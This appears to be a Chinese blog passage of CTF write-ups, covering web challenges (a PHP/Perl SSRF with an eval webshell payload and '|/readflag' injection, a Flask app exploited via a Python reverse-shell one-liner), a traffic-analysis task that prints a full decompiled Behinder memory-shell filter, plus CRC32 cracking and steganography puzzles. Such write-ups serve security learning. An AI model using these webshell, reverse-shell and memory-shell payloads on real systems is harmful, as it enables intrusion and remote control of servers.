12
13
14
15
16
17
18
19
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}

echo $_SERVER["REMOTE_ADDR"];

$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);

$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);

首先是会显示ip,然后创建一个目录,目录名为md5(orange+ip),然后就是文件名处理,如果文件名是test,读取的文件路径就是/sandbox/md5(orange+ip)/test

image-20260326151608073

这里的flag是空的,就要调用readflag来读取flag,但是get无法执行文件的,这可以利用伪协议写🐎,

1
?url=data:text/plain,'<?php @eval($_POST['1'])?>'&filename=1.php

image-20260326153231007

还有一种方法就是利用perl语言中open函数的rec漏洞,操作对象要是系统中已经存在的文件,所以先创建文件

1
?url=&filename=|/readflag

然后文件读取

1
?url=file:|readflag&filename=1

[b01lers2020]Welcome to Earth

这里看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

<!DOCTYPE html>
<html>
<head>
<title>Welcome to Earth</title>
</head>
<body>
<h1>AMBUSH!</h1>
<p>You've gotta escape!</p>
<img src="/static/img/f18.png" alt="alien mothership" style="width:60vw;" />
<script>
document.onkeydown = function(event) {
event = event || window.event;
if (event.keyCode == 27) {
event.preventDefault();
window.location = "/chase/";
} else die();
};

function sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}

async function dietimer() {
await sleep(10000);
die();
}

function die() {
window.location = "/die/";
}

dietimer();
</script>
</body>
</html>

如果按esc就会跳转到/chase,10秒之后就会die,要看chase就需要抓包了

image-20260326191111682

这里还有一个路由,访问一下

image-20260326191253069

接着访问

image-20260326191315855

这些数不管点那个都会die,看源码有一个door.js

image-20260326191659131

也不是点那个都会die,1/360的概率可以成功,到open这个还是看源码的js文件

image-20260326191920474

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// Run to scramble original flag
//console.log(scramble(flag, action));
function scramble(flag, key) {
for (var i = 0; i < key.length; i++) {
let n = key.charCodeAt(i) % flag.length;
let temp = flag[i];
flag[i] = flag[n];
flag[n] = temp;
}
return flag;
}

function check_action() {
var action = document.getElementById("action").value;
var flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"];

// TODO: unscramble function
}

这里需要排列组合了,flag格式是pctf{heyxxxxxck!}

1
2
3
4
5
6
7
8
9
10
11
12
from itertools import permutations
import re

flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"]
# 对flag字典里的内容进行排列组合
item = permutations(flag)
# 遍历
for a in item:
k = ''.join(list(a))
# 匹配
if re.search('^pctf\{hey_boys[a-zA-z_]+ck!\}$', k):
print(k)

第三个是flag

image-20260326192851046

[网鼎杯 2020 白虎组]PicDown

这个题目环境可能有问题,尝试http://www.baidu.com直接超时了,看wp知道是python2的**urllib**的urlopen支持将路径直接作为参数打开对应的本地路径,可以直接填写文件路径进行文件读取。

非预期解就是直接/flag

image-20260326211158177

预期解就是先读取进程的启动命令

image-20260326211617305

读取一下app.py

1
?url=/app/app.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib

app = Flask(__name__)

SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)


@app.route('/')
def index():
return render_template('search.html')


@app.route('/page')
def page():
url = request.args.get("url")
try:
if not url.lower().startswith("file"):
res = urllib.urlopen(url)
value = res.read()
response = Response(value, mimetype='application/octet-stream')
response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
return response
else:
value = "HACK ERROR!"
except:
value = "SOMETHING WRONG!"
return render_template('search.html', res=value)


@app.route('/no_one_know_the_manager')
def manager():
key = request.args.get("key")
print(SECRET_KEY)
if key == SECRET_KEY:
shell = request.args.get("shell")
os.system(shell)
res = "ok"
else:
res = "Wrong Key!"

return res


if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)

主要是在/no_one_know_the_manager路由下只要输入key,就可以用shell传参进行rce,但是这是使用的是os.system(shell)只执行没有回显,需要反弹shell,第一步就是读取key,脚本启动后就会删除secret.txt,文件被删除后但是进程占用,依然可以读取,路径是/proc/self/fd/3,这个3可以爆破出来

image-20260326212439538

带着key就可以进行反弹shell了

1
python3 -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',端口));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

misc

依旧是串一下,写两道软件系统安全赛初赛2026的misc,这波信息差了,都没报这个比赛,还是赛后群友讨论才知道,复现环境青岑网安 | QingCen CTF,很好的平台。这里就两道题,记录一下

traffic_hunt

流量分析,依旧先统计

image-20260316205619533

image-20260316205715973

image-20260316205730798

记录的是10.1.243.155和10.1.33.63之间的流量,其中get请求很多因该是在扫目录

image-20260316210210322

在tcp5009包中

image-20260316210335057

经典的shiro流量,前面的是在进行rce,关键看最后一条命令

image-20260316210523162

其中yv66vgAA是Java class ⽂件 Base64特征,反编译一下

image-20260316210624551

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
package com.summersec.x;

import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.math.BigInteger;
import java.security.MessageDigest;
import java.util.EnumSet;
import java.util.HashMap;
import java.util.Map;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.DispatcherType;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletRequestWrapper;
import javax.servlet.ServletResponse;
import javax.servlet.ServletResponseWrapper;
import javax.servlet.FilterRegistration.Dynamic;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import org.apache.catalina.LifecycleState;
import org.apache.catalina.connector.RequestFacade;
import org.apache.catalina.connector.ResponseFacade;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.util.LifecycleBase;

public final class BehinderFilter extends ClassLoader implements Filter {
public HttpServletRequest request = null;
public HttpServletResponse response = null;
public String cs = "UTF-8";
public String Pwd = "eac9fa38330a7535";
public String path = "/favicondemo.ico";

public BehinderFilter() {
}

public BehinderFilter(ClassLoader c) {
super(c);
}

public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}

public static String md5(String s) {
String ret = null;

try {
MessageDigest m = MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = (new BigInteger(1, m.digest())).toString(16).substring(0, 16);
} catch (Exception var3) {
}

return ret;
}

public boolean equals(Object obj) {
this.parseObj(obj);
this.Pwd = md5(this.request.getHeader("p"));
this.path = this.request.getHeader("path");
StringBuffer output = new StringBuffer();
String tag_s = "->|";
String tag_e = "|<-";

try {
this.response.setContentType("text/html");
this.request.setCharacterEncoding(this.cs);
this.response.setCharacterEncoding(this.cs);
output.append(this.addFilter());
} catch (Exception var7) {
output.append("ERROR:// " + var7.toString());
}

try {
this.response.getWriter().print(tag_s + output.toString() + tag_e);
this.response.getWriter().flush();
this.response.getWriter().close();
} catch (Exception var6) {
}

return true;
}

public void parseObj(Object obj) {
if (obj.getClass().isArray()) {
Object[] data = (Object[])((Object[])((Object[])obj));
this.request = (HttpServletRequest)data[0];
this.response = (HttpServletResponse)data[1];
} else {
try {
Class clazz = Class.forName("javax.servlet.jsp.PageContext");
this.request = (HttpServletRequest)clazz.getDeclaredMethod("getRequest").invoke(obj);
this.response = (HttpServletResponse)clazz.getDeclaredMethod("getResponse").invoke(obj);
} catch (Exception var8) {
if (obj instanceof HttpServletRequest) {
this.request = (HttpServletRequest)obj;

try {
Field req = this.request.getClass().getDeclaredField("request");
req.setAccessible(true);
HttpServletRequest request2 = (HttpServletRequest)req.get(this.request);
Field resp = request2.getClass().getDeclaredField("response");
resp.setAccessible(true);
this.response = (HttpServletResponse)resp.get(request2);
} catch (Exception var7) {
try {
this.response = (HttpServletResponse)this.request.getClass().getDeclaredMethod("getResponse").invoke(obj);
} catch (Exception var6) {
}
}
}
}
}

}

public String addFilter() throws Exception {
ServletContext servletContext = this.request.getServletContext();
Filter filter = this;
String filterName = this.path;
String url = this.path;
if (servletContext.getFilterRegistration(filterName) == null) {
Field contextField = null;
ApplicationContext applicationContext = null;
StandardContext standardContext = null;
Field stateField = null;
Dynamic filterRegistration = null;

String var11;
try {
contextField = servletContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
applicationContext = (ApplicationContext)contextField.get(servletContext);
contextField = applicationContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
standardContext = (StandardContext)contextField.get(applicationContext);
stateField = LifecycleBase.class.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext, LifecycleState.STARTING_PREP);
filterRegistration = servletContext.addFilter(filterName, filter);
filterRegistration.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), false, new String[]{url});
Method filterStartMethod = StandardContext.class.getMethod("filterStart");
filterStartMethod.setAccessible(true);
filterStartMethod.invoke(standardContext, (Object[])null);
stateField.set(standardContext, LifecycleState.STARTED);
var11 = null;

Class filterMap;
try {
filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
} catch (Exception var22) {
filterMap = Class.forName("org.apache.catalina.deploy.FilterMap");
}

Method findFilterMaps = standardContext.getClass().getMethod("findFilterMaps");
Object[] filterMaps = (Object[])((Object[])((Object[])findFilterMaps.invoke(standardContext)));

for(int i = 0; i < filterMaps.length; ++i) {
Object filterMapObj = filterMaps[i];
findFilterMaps = filterMap.getMethod("getFilterName");
String name = (String)findFilterMaps.invoke(filterMapObj);
if (name.equalsIgnoreCase(filterName)) {
filterMaps[i] = filterMaps[0];
filterMaps[0] = filterMapObj;
}
}

String var25 = "Success";
String var26 = var25;
return var26;
} catch (Exception var23) {
var11 = var23.getMessage();
} finally {
stateField.set(standardContext, LifecycleState.STARTED);
}

return var11;
} else {
return "Filter already exists";
}
}

public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws IOException, ServletException {
HttpSession session = ((HttpServletRequest)req).getSession();
Object lastRequest = req;
Object lastResponse = resp;
Method getResponse;
if (!(req instanceof RequestFacade)) {
getResponse = null;

try {
getResponse = ServletRequestWrapper.class.getMethod("getRequest");

for(lastRequest = getResponse.invoke(this.request); !(lastRequest instanceof RequestFacade); lastRequest = getResponse.invoke(lastRequest)) {
}
} catch (Exception var11) {
}
}

try {
if (!(lastResponse instanceof ResponseFacade)) {
getResponse = ServletResponseWrapper.class.getMethod("getResponse");

for(lastResponse = getResponse.invoke(this.response); !(lastResponse instanceof ResponseFacade); lastResponse = getResponse.invoke(lastResponse)) {
}
}
} catch (Exception var10) {
}

Map obj = new HashMap();
obj.put("request", lastRequest);
obj.put("response", lastResponse);
obj.put("session", session);

try {
session.putValue("u", this.Pwd);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(this.Pwd.getBytes(), "AES"));
(new BehinderFilter(this.getClass().getClassLoader())).g(c.doFinal(this.base64Decode(req.getReader().readLine()))).newInstance().equals(obj);
} catch (Exception var9) {
var9.printStackTrace();
}

}

public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[])((byte[])((byte[])clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
} catch (Exception var5) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke((Object)null);
return (byte[])((byte[])((byte[])decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
}
}

public void init(FilterConfig filterConfig) throws ServletException {
}

public void destroy() {
}
}

分析代码知道这个是一个冰蝎的后门,

1
this.Pwd = md5(this.request.getHeader("p"));

连接密钥就是

image-20260316211047749

HWmc2TLDoihdlr0N,这个的md5的前16位,后门文件是favicondemo.ico,过滤追踪流分析webshell流量,这里流量太多,看几个主要的流量

image-20260316212404704

image-20260316211412467

image-20260316211801240

image-20260316211730539

这里是可以看到tmp目录下有一个out文件,绝大多是流量都是在写入conten,也就是这个out文件,这个是攻击者写入的文件,然后到后面

image-20260316212702787

执行了

1
./out --aes-key IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs=

后面的流量是解密的,用密钥解密这个流量

image-20260316215310490

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
import pyshark
import struct
import base64
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
import os

# 配置区域
PCAP_FILE = 'traffic_hunt.pcapng'
STREAM_INDEX = 40563
KEY_B64 = "IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs="
# 你的TShark完整路径(必须确保这个路径正确)
TSHARK_PATH = r"D:\huchuhao\Wireshark\tshark.exe"

def decrypt_payload(data, aesgcm):
"""
解析二进制流并解密:
结构: 4字节长度 (小端序) + 12字节 Nonce + 密文 (含 16字节 MAC Tag)
"""
offset = 0
results = []

while offset < len(data):
# 1. 确保有足够的字节读取 4 字节长度字段
if offset + 4 > len(data):
break

length = struct.unpack('<I', data[offset:offset+4])[0]
offset += 4

# 确保数据没有被截断
if offset + length > len(data):
print(f"[-] 警告: 数据流截断,期望 {length} 字节,实际剩余 {len(data) - offset} 字节")
break

# 提取当前数据包完整的 Payload
payload = data[offset:offset+length]
offset += length

if len(payload) < 12:
continue

# 2. 提取 12 字节的 Nonce 和剩余的密文
nonce = payload[:12]
ciphertext = payload[12:]

# 3. 使用 AES-GCM 解密
try:
plaintext = aesgcm.decrypt(nonce, ciphertext, None)
results.append(plaintext)
except Exception as e:
results.append(f"[解密失败: {e}]".encode())

return results

def analyze_pcap():
# 先检查文件和TShark路径是否存在
if not os.path.exists(PCAP_FILE):
print(f"[-] 错误:找不到PCAP文件 {PCAP_FILE},请检查路径!")
return

if not os.path.exists(TSHARK_PATH):
print(f"[-] 错误:找不到TShark程序 {TSHARK_PATH},请检查路径!")
return

print(f"[*] 正在读取 {PCAP_FILE} 并过滤 tcp.stream eq {STREAM_INDEX}...")
print(f"[*] 使用TShark路径:{TSHARK_PATH}")

# 使用 pyshark 加载 pcap 并应用 Wireshark 过滤器(关键:传入tshark_path)
try:
cap = pyshark.FileCapture(
PCAP_FILE,
display_filter=f'tcp.stream eq {STREAM_INDEX}',
tshark_path=TSHARK_PATH # 核心修复:传入TShark路径
)
except Exception as e:
print(f"[-] 加载PCAP文件失败:{e}")
return

# 用于拼接双向的 TCP 载荷数据 (应对分包/粘包现象)
client_to_server_data = bytearray()
server_to_client_data = bytearray()

client_ip = None

# 遍历过滤后的数据包
try:
for pkt in cap:
try:
# 获取 TCP Payload (pyshark 默认以冒号分隔的 hex 字符串返回)
payload_hex = pkt.tcp.payload.replace(':', '')
tcp_payload = bytes.fromhex(payload_hex)

# 记录第一个发包的 IP 作为客户端 IP (通常是攻击者)
if client_ip is None:
client_ip = pkt.ip.src

# 根据源 IP 区分方向并拼接载荷
if pkt.ip.src == client_ip:
client_to_server_data.extend(tcp_payload)
else:
server_to_client_data.extend(tcp_payload)

except AttributeError:
# 忽略没有 TCP Payload 的包(比如单纯的 SYN/ACK 包)
continue
except Exception as e:
print(f"[-] 解析数据包时出错:{e}")
finally:
cap.close()

# 初始化 AES-GCM 解密器
try:
key = base64.b64decode(KEY_B64)
aesgcm = AESGCM(key)
except Exception as e:
print(f"[-] 初始化AES-GCM解密器失败:{e}")
return

# ================= 输出结果 =================
print("\n" + "="*60)
print("[*] 攻击者指令 (客户端 -> 服务端):")
print("="*60)
client_decrypted = decrypt_payload(client_to_server_data, aesgcm)
for i, data in enumerate(client_decrypted):
try:
print(f"[{i+1}] {data.decode('utf-8').strip()}")
except UnicodeDecodeError:
print(f"[{i+1}] (Hex) {data.hex()}")

print("\n" + "="*60)
print("[*] 服务器回显 (服务端 -> 客户端):")
print("="*60)
server_decrypted = decrypt_payload(server_to_client_data, aesgcm)
for i, data in enumerate(server_decrypted):
try:
print(f"[{i+1}]\n{data.decode('utf-8').strip()}\n")
except UnicodeDecodeError:
print(f"[{i+1}] (Hex) {data.hex()}\n")

if __name__ == '__main__':
analyze_pcap()

image-20260316215416655

1
echo 3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi

随波逐流解码得到flag

image-20260316215546178

1
dart{d9850b27-85cb-4777-85e0-df0b78fdb722}

第一次分析还尝试还原这个后门文件,浪费了不少时间。(你是一个ctfer,对一道题分析了几个小时,然后同学跟你说别分析了ai一把梭出来了,这个flag不再是那个香香软软的flag了)

steganography

考察隐写术,首先分析文件

image-20260316220306546

这个文件头就很不对,明显被修改过的,这个其实是7z文件的文件头,377ABCAF271C 修复后解压分析图片

image-20260316220429444

lsb隐写提取flag.zip,然后分析,pass1-pass6考察的是crc32爆破,exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import zipfile
import zlib
import string
from pathlib import Path

# 可自定义的字符集(根据题目可能是数字/字母/可见字符)
CHARSET = string.digits + string.ascii_letters + string.punctuation + " "
# 原始文件大小(从你截图里看到是 4 字节,可按需修改)
FILE_SIZE = 4

def crack_crc32(crc32_expected: int, length: int) -> str | None:
"""
暴力破解指定长度和 CRC32 的字符串
:param crc32_expected: 目标 CRC32 值(无符号整数)
:param length: 原始字符串长度
:return: 匹配的字符串,未找到则返回 None
"""
from itertools import product

for chars in product(CHARSET, repeat=length):
s = "".join(chars)
crc = zlib.crc32(s.encode()) & 0xFFFFFFFF
if crc == crc32_expected:
return s
return None

def process_zip(zip_path: Path) -> str | None:
"""
处理单个 zip 文件,提取内部 txt 的 CRC32 并爆破
"""
with zipfile.ZipFile(zip_path, "r") as zf:
# 假设 zip 内只有一个文件
info = zf.infolist()[0]
crc32 = info.CRC
file_size = info.file_size
print(f"[+] 处理 {zip_path.name}: CRC32=0x{crc32:08x}, 大小={file_size}")
return crack_crc32(crc32, file_size)

def batch_process(start_prefix: str, end_prefix: str, suffix: str = ".zip"):
"""
批量处理 pass1.zip ~ pass6.zip 这类文件
:param start_prefix: 起始前缀(如 "pass1")
:param end_prefix: 结束前缀(如 "pass6")
"""
# 提取数字部分(从 pass1 中拿到 1,pass6 中拿到 6)
start_num = int(''.join([c for c in start_prefix if c.isdigit()]))
end_num = int(''.join([c for c in end_prefix if c.isdigit()]))
prefix_base = ''.join([c for c in start_prefix if not c.isdigit()]) # 拿到 "pass"

results = {}
for i in range(start_num, end_num + 1):
zip_name = f"{prefix_base}{i}{suffix}"
zip_path = Path(zip_name)
if not zip_path.exists():
print(f"[-] {zip_path} 不存在,跳过")
continue
res = process_zip(zip_path)
if res:
results[i] = res
print(f"[+] 找到结果: {zip_name} -> {res}")
else:
results[i] = None
print(f"[-] {zip_name} 未找到匹配结果")
return results

if __name__ == "__main__":
# 批量处理 pass1.zip ~ pass6.zip
results = batch_process("pass1", "pass6")
print("\n[*] 最终结果汇总:")
for idx, res in sorted(results.items()):
print(f"pass{idx}.zip: {res if res else '未找到'}")

# 拼接所有结果(如果是 flag 分片)
flag = "".join([res for res in results.values() if res])
print(f"\n[*] 拼接结果: {flag}")

image-20260316220821378

密码是c1!xxtLf%fXYPkaA

然后零宽字符隐写

image-20260316220737093

dart{bf4100d9-cc8d-48f6-a095-54cbfad189e1}

[RoarCTF2019]黄金6年

010分析附件,在最后有base64

image-20260318215225816

解码保存文件为rar

image-20260318215318529

发现需要密码,看mp4的时候能看到二维码,使用kinove打开视频慢放

image-20260318215941323

image-20260318220147264

image-20260318220335743

还有那个是用pr的找到最后的二维码,最后密码是iwantplayctf

roarctf{CTF-from-RuMen-to-RuYuan}

[WUSTCTF2020]alison_likes_jojo

随波逐流分析图片,发现有一个也压缩包,爆破一下

image-20260326193709930

解压的到一段base64,多重base64解码

image-20260326193838679

outguess解密

image-20260326194120129

从娃娃抓起

题目提示是两种不同的汉字编码,伟人是指的邓小平

image-20260324162817357

首先想到的是中文电码

image-20260324163045038

1
bnhn s wwy vffg vffg rrhy fhnv

这是五笔编码,积累一下,也要从娃娃抓起

人工智能也要从娃娃抓起

flag{3b4b5dccd2c008fe7e2664bd1bc19292}

[安洵杯 2019]吹着贝斯扫二维码

这个关键就是拼接二维码,试了几个工具都没有自动拼接好,只能手拼了

img

BASE Family Bucket ??? 85->64->85->13->16->32,依次解码就行ThisIsSecret!233

flag{Qr_Is_MeAn1nGfuL}

[UTCTF2020]file header

附件是png,010分析是文件头不对,修改一下,前面改为89504e470

attachment

flag{3lit3_h4ck3r}

[GUET-CTF2019]zips

解压压缩包得到一个新的加密压缩包,尝试爆破密码,得到密码时723456,

image-20260411161518441

随波逐流分析附件得到压缩包时伪加密,附件给了一个sh文件

1
2
3
4
#!/bin/bash
#
zip -e --password=`python -c "print(__import__('time').time())"` flag.zip flag

代码意思是用当前的时间戳作为密码加密压缩包,使用掩码掩码爆破密码1558080832.15

image-20260411162757594

flag{fkjabPqnLawhvuikfhgzyffj}

弱口令

image-20260411162951857

这里看到有提示,image-20260411163033837

摩斯密码

.... . .-.. .-.. ----- ..-. --- .-. ..- --

image-20260411163128100

解压得到一个png,随波逐流大概看了一下没有啥有用的信息,题目提示时弱口令,这里就要上工具了,而且是有密码,是一个弱口令

image-20260411164010625

[XMAN2018排位赛]通行证

附件base64解码得到kanbbrgghjl{zb____}vtlaln,栅栏加密+rot13

image-20260411164455609

image-20260411164511200

xman{oyay_now_you_get_it}

[DDCTF2018]流量分析

大概看了一下没有HTTP流量,看一下协议

image-20260411171725945

分析看到存在SMTP流量,之前导出附件都是HTTP对象,这次是SMTP,这次选择image-20260411172024817

IMF对象列表,导出邮件查看信息

image-20260411172140647

分析图片这是BASE64编码的RSA公钥,具有开头结尾的特征,修改为PEM格式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
-----BEGIN RSA PRIVATE KEY-----
MIICXAIBAAKBgQDCm6vZmclJrVH1AAyGuCuSSZ8O+mIQiOUQCvN0HYbj8153JfSQ
LsJIhbRYS7+zZ1oXvPemWQDv/u/tzegt58q4ciNmcVnq1uKiygc6QOtvT7oiSTyO
vMX/q5iE2iClYUIHZEKX3BjjNDxrYvLQzPyGD1EY2DZIO6T45FNKYC2VDwIDAQAB
AoGAbtWUKUkx37lLfRq7B5sqjZVKdpBZe4tL0jg6cX5Djd3Uhk1inR9UXVNw4/y4
QGfzYqOn8+Cq7QSoBysHOeXSiPztW2cL09ktPgSlfTQyN6ELNGuiUOYnaTWYZpp/
QbRcZ/eHBulVQLlk5M6RVs9BLI9X08RAl7EcwumiRfWas6kCQQDvqC0dxl2wIjwN
czILcoWLig2c2u71Nev9DrWjWHU8eHDuzCJWvOUAHIrkexddWEK2VHd+F13GBCOQ
ZCM4prBjAkEAz+ENahsEjBE4+7H1HdIaw0+goe/45d6A2ewO/lYH6dDZTAzTW9z9
kzV8uz+Mmo5163/JtvwYQcKF39DJGGtqZQJBAKa18XR16fQ9TFL64EQwTQ+tYBzN
+04eTWQCmH3haeQ/0Cd9XyHBUveJ42Be8/jeDcIx7dGLxZKajHbEAfBFnAsCQGq1
AnbJ4Z6opJCGu+UP2c8SC8m0bhZJDelPRC8IKE28eB6SotgP61ZqaVmQ+HLJ1/wH
/5pfc3AmEyRdfyx6zwUCQCAH4SLJv/kprRz1a1gx8FR5tj4NeHEFFNEgq1gmiwmH
2STT5qZWzQFz8NRe+/otNOHBR2Xk4e8IS+ehIJ3TvyE=
-----END RSA PRIVATE KEY-----

接着下时tls解密,

image-20260411172834941

导入配置文件,解密后就http流量

image-20260411173024330

DDCTF{0ca2d8642f90e10efd9092cd6a2831c0}

Mysterious

逆向分析需要土哥分析

zip

解压是一堆压缩包,里面是data.txt,文件原始大小为4,尝试crc32爆破,由于文件较多,使用脚本批量解密,根据题目提示,将文件拼一下然后base64解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import zipfile
import zlib
import itertools
import string
import base64
from tqdm import tqdm

# 可爆破字符集(根据题目情况调整)
charset = string.printable # 或者 string.ascii_letters + string.digits

def crack_crc32(target_crc):
"""
爆破4字节内容,使其CRC32匹配
"""
for candidate in itertools.product(charset, repeat=4):
s = ''.join(candidate).encode()
if zlib.crc32(s) & 0xffffffff == target_crc:
return s
return None


def get_crc_from_zip(zip_path):
"""
从zip中读取data.txt的CRC32
"""
with zipfile.ZipFile(zip_path, 'r') as z:
info = z.getinfo('data.txt')
return info.CRC


def main():
result = b''

for i in tqdm(range(68)):
zip_name = f'out{i}.zip'

crc = get_crc_from_zip(zip_name)
data = crack_crc32(crc)

if data is None:
print(f"[!] 未找到: {zip_name}")
return

result += data

print("[+] 拼接完成:", result)

try:
decoded = base64.b64decode(result)
print("[+] Base64解码结果:")
print(decoded)
except Exception as e:
print("[!] Base64解码失败:", e)


if __name__ == "__main__":
main()

base64解码并没有直接看到flag,拼接过后的内容为

1
z5BzAAANAAAAAAAAAKo+egCAIwBJAAAAVAAAAAKGNKv+a2MdSR0zAwABAAAAQ01UCRUUy91BT5UkSNPoj5hFEVFBRvefHSBCfG0ruGnKnygsMyj8SBaZHxsYHY84LEZ24cXtZ01y3k1K1YJ0vpK9HwqUzb6u9z8igEr3dCCQLQAdAAAAHQAAAAJi0efVT2MdSR0wCAAgAAAAZmxhZy50eHQAsDRpZmZpeCB0aGUgZmlsZSBhbmQgZ2V0IHRoZSBmbGFnxD17AEAHAA==

这里解出来是乱码,看一下十六进制

image-20260411175707553

这里才疏学浅了,只记得RAR文件的文件头,不知道RAR文件的文件尾

1
2
52 61 72 21 1A 07 00   # RAR文件头
C4 3D 7B 00 40 07 00 # RAR文件尾

添加文件头即可

image-20260411180706386

image-20260411180730929

flag{nev3r_enc0de_t00_sm4ll_fil3_w1th_zip}

SUCTF2018]followme

NETA分析直接梭了

image-20260411200753262

[WUSTCTF2020]girlfriend

给出的附件一听是拨号音,DTMF拨号音识别工具,识别分析

1
识别结果:9994*666*88*2*777**33*6*999*74*444*777*555*333*777*444*33*766*3*7777

image-20260411201529236

然后就是手机键盘密码,这个就是按照九宫格输入法,第一个是三个9.就对应Y,让后以此类推

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
999     --->   y
666 ---> o
88 ---> u
2 ---> a
777 ---> r
33 ---> e
6 ---> m
999 ---> y
4 ---> g
4444 ---> i
777 ---> r
555 ---> l
333 ---> f
777 ---> r
444 ---> i
33 ---> e
66 ---> n
3 ---> d
7777 ---> s

youaremygirlfriends

[DDCTF2018](╯°□°)╯︵ ┻━┻

1
2
3
4
5
6
(究~↓~ㄘ究舟 拋岩拋
50pt

(究~↓~ㄘ究舟 拋岩拋

d4e8e1f4a0f7e1f3a0e6e1f3f4a1a0d4e8e5a0e6ece1e7a0e9f3baa0c4c4c3d4c6fbb9b2b2e1e2b9b9b7b4e1b4b7e3e4b3b2b2e3e6b4b3e2b5b0b6b1b0e6e1e5e1b5fd

分析数据由0-9.a-f组成,分析十六进制,两个一个分开,但是转ASCII这些数值都大于128,都减去128就行,最后得到

1
